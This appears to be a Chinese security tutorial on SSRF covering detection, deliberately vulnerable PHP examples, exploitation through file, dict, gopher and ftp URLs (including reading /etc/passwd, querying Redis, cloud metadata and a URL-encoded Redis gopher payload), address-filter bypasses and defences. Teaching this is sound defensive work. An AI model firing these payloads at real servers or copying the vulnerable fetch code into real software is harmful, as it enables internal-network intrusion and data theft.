基本概念

  1. 定义

    SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击者形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

  2. 原理

    SSRF通常出现在web应用提供从其他服务器应用获取数据功能(例如从指定URL获取远程资源)的时候,例如:

    • 图片下载或预览
    • 网站抓取器
    • PDF 生成器
    • Webhook 通知地址
    • 文件上传后校验远程地址合法性等

    如果应用在处理地址和协议的时候没有严格过滤或校验,从而使得攻击者可以利用存在缺陷的web应用作为代理,攻击其远程和本地的服务器(攻击者可以传入任意的 URL,从而控制服务器去访问),例如:

    • 请求内网资源
    • 端口扫描
    • 云服务的元数据接口
    • 敏感接口:如redis、内网API、数据库
    • 任意外部地址:伪造请求或隐藏攻击来源
    • 利用file协议读取本地文件

SSRF漏洞验证方式

观察是否为服务端发起请求

通过页面元素的“行为”去排查请求到底是浏览器直接发的,还是浏览器将地址交给服务器让服务器去请求(也就是 SSRF)。

例如:

页面中有一张图片:

1
<img src="http://www.xxx.com/a.php?image=http://img.abc.com/test.jpg">

你用浏览器访问这个页面,按 F12 打开控制台 Network 观察:

  • 如果看到直接请求的是 http://img.abc.com/test.jpg → 表示是浏览器直接请求,不是 SSRF。
  • 如果看到请求的是 http://www.xxx.com/a.php?image=...,且最终图片是服务器返回的 → 说明服务器可能先拿这个 URL 去下载,再返回给你,这种情况就要警惕 SSRF。

DNSLog

当 SSRF 是盲打型(无页面回显)时,你可以使用 DNSLog 生成一个唯一子域,如:

1
http://abc.12345.dnslog.cn

然后将它作为 SSRF 的 URL 参数:

1
http://www.xxx.com/a.php?image=http://abc.12345.dnslog.cn

如果服务器发起请求,会触发你的 DNSLog 收到解析记录,从而验证 SSRF 成立。

抓包分析探测

使用 Burp SuiteFiddler 抓取你浏览器的请求,查看:

  • 你发的是 image=http://127.0.0.1:8080,但这个地址你客户端根本访问不了
  • 页面却返回了 Tomcat 的信息 → 很可能是服务器自己请求并返回的,验证 SSRF。

一旦验证 SSRF 存在,可以尝试发起请求探测内网服务,比如:

  • http://127.0.0.1:6379(Redis)
  • http://localhost:8080(Tomcat)
  • http://192.168.0.1:80(内网 Web 后台)

SSRF漏洞利用方式

SSRF漏洞利用函数

下面以 php 为例,说明 php 中可能存在 SSRF 漏洞的函数

file_get_contents()

file_get_contents 函数从用户指定的url获取图片,然后通过 file_put_content 函数把文件保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename = './images/' . rand() . ';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"" . $filename . "\"/>";
}
echo $img;

fsockopen()

fsockopen 函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为连接超时时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function GetFile($host, $port, $link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
# 构造HTTP请求报文
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
# 接受响应内容
$contents = '';
while (!feof($fp)) {
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
  • intval($port):端口号转为整数
  • $errno$errstr:连接失败时记录错误码和错误信息

curl_exec()

cURL 是一个强大的客户端工具,常用于在程序中发起 HTTP 请求。PHP 提供了对 cURL 的原生支持,方便你在脚本中模拟浏览器行为去获取网页数据、提交表单、下载文件、调用 API 等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
# 初始化cURL会话
$curlobj = curl_init();
# 配置请求选项
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_URL, $link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
# 执行请求
$result = curl_exec($curlobj);
# 关闭会话并释放资源
curl_close($curlobj);

$filename = './curled/' . rand() . '.txt';
file_put_contents($filename, $result);
echo $result;
}

SSRF漏洞利用协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

  • file 协议结合目录遍历读取文件。
  • gopher 协议打开端口。
  • dict 协议主要用于结合 curl 攻击。
  • http 协议进行内网探测。

HTTP / HTTPS

基于 HTTP/HTTPS 协议可以实现内网探测

  • 访问内网 Web 服务

  • 读取云服务元数据

  • 探测端口(返回状态码判断)

1
2
GET /fetch?url=http://127.0.0.1:8080/admin
GET /fetch?url=http://169.254.169.254/latest/meta-data/

file协议

使用file协议实现任意文件读取

1
curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

dict协议

利用dict协议,dict://ip/info 可获取本地 redis 服务配置信息。

1
curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

gopher协议

  1. Gopher协议

    Gopher 是一种早期的互联网文本分发协议,可以用于构造任意 TCP数据包并发送给任意主机端口,攻击内网服务如 Redis、MySQL、SMTP 等,实现 SSRF 到 RCE

  2. gopher SSRF 利用格式

    1
    gopher://<ip>:<port>/_<payload>
    • ip:port:目标

    • _:分隔符,后面接的是完整 payload

    • payload:你要发送的原始 TCP 数据,需要进行 URL 编码

  3. 攻击场景

    1)Redis未授权访问

    • 写入计划任务、Webshell、或清除数据库
    • 结合写入 cronauthorized_keys 达到远程命令执行

    2)内网端口扫描 + 协议探测

    • 通过返回的错误、延迟等信息判断端口是否开放
    • gopher 可以探测 TCP 服务是否在线,比 http 更底层

    3)SMTP / FTP / MongoDB / MySQL 等协议攻击(基于明文通信)

    • 构造符合 SMTP 协议的发信请求,发送垃圾邮件
    • 构造 FTP 登录命令,测试弱口令或开放匿名登录
    • 构造 MongoDB 查询命令,尝试获取数据库数据
  4. **例子:Redis 写入恶意 key **

    原始 Redis 命令:

    1
    SET evilkey evilvalue

    Redis 协议格式:

    1
    *3\r\n$3\r\nSET\r\n$8\r\nevilkey\r\n$10\r\nevilvalue\r\n

    URL 编码后:

    1
    %2A3%0D%0A%243%0D%0ASET%0D%0A%248%0D%0Aevilkey%0D%0A%2410%0D%0Aevilvalue%0D%0A

    完整 Gopher URL:

    1
    gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%248%0D%0Aevilkey%0D%0A%2410%0D%0Aevilvalue%0D%0A

    当 SSRF 后端发送此请求时,就等于访问 Redis 并执行了命令:SET evilkey evilvalue

ftp协议

ftp协议是基于 TCP 的明文传输协议,一般SSRF可以利用FTP实现:

  1. FTP 回显特性用于信息泄露

    请求

    1
    GET /ssrf?url=ftp://127.0.0.1:21

    通常返回的是类似下面的 banner 内容:

    1
    220 (vsFTPd 3.0.3)

    如果后端把响应内容原样返回给用户,你就可以知道目标是否部署了 FTP 服务,并知道服务版本。

  2. 通过连接响应判断端口是否开放(端口扫描)

    FTP 是基于 TCP 协议的 —— 如果目标端口开放,SSR 服务器

    会收到连接响应;如果关闭,则超时或拒绝连接。

    如果我们将目标改成非常多的内网 IP + 端口组合(结合Bp工具进行爆破),就能实现内网扫描(TCP探测)

    1
    2
    ftp://127.0.0.1:22
    ftp://192.168.0.100:3306

    注:这种方式只能判断“能否建立 TCP 连接”,不能判断应用层协议是否存在。

SSRF绕过方式

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理

DNS重绑定

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务。同时设置TTL时间为0。(防止有DNS服务器对解析结果进行缓存)

完整的攻击流程为:

img

1)攻击者输入自己的域名

2)服务器端获得URL参数,进行第一次DNS解析,从攻击者控制的 DNS 服务器获得了一个非内网的IP。(同时响应的TTL值为0,这样服务器不会长时间存储这个缓存结果)

3) 服务器端对获得的IP进行判断,发现为非黑名单IP,通过验证

img

4)服务器端对URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

参考:[DNS安全] 详解DNS重绑定攻击

@ 绕过

平常我们传入的url是url=http://127.0.0.1,如果
我们传入的url是url=http://quan9i@127.0.0.1,它此时依旧会访问127.0.0.1

1
url=http://notfound.ctfhub.com@127.0.0.1/flag.php

省略0

当过滤127.0.0.1整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的

在这里插入图片描述

进制转换

127.0.0.1进行转换,转换为其他进制的数从而绕过检测

1
2
3
0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制

特殊0

在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示

1
url=http://0/flag.php

SSRF 防御

  1. 禁用不需要的协议。禁止 gopher://file://dict:// 等非 http 协议

  2. 内网资源隔离

    • 重要内网服务(如 Redis、K8s API)只开放给可信 IP 段访问。

    • 内部接口通过防火墙控制,仅允许指定服务访问。

  3. 校验返回信息。验证远程服务器对请求的响应。例如,web应用是去获取 png 格式文件。那么在把返回结果展示给用户之前先验证返回的 content-type 是否符合 image

  4. 禁止服务端访问用户可控URL。如果业务上并不需要由服务器请求用户提供的地址,建议根本禁止这种设计

参考文章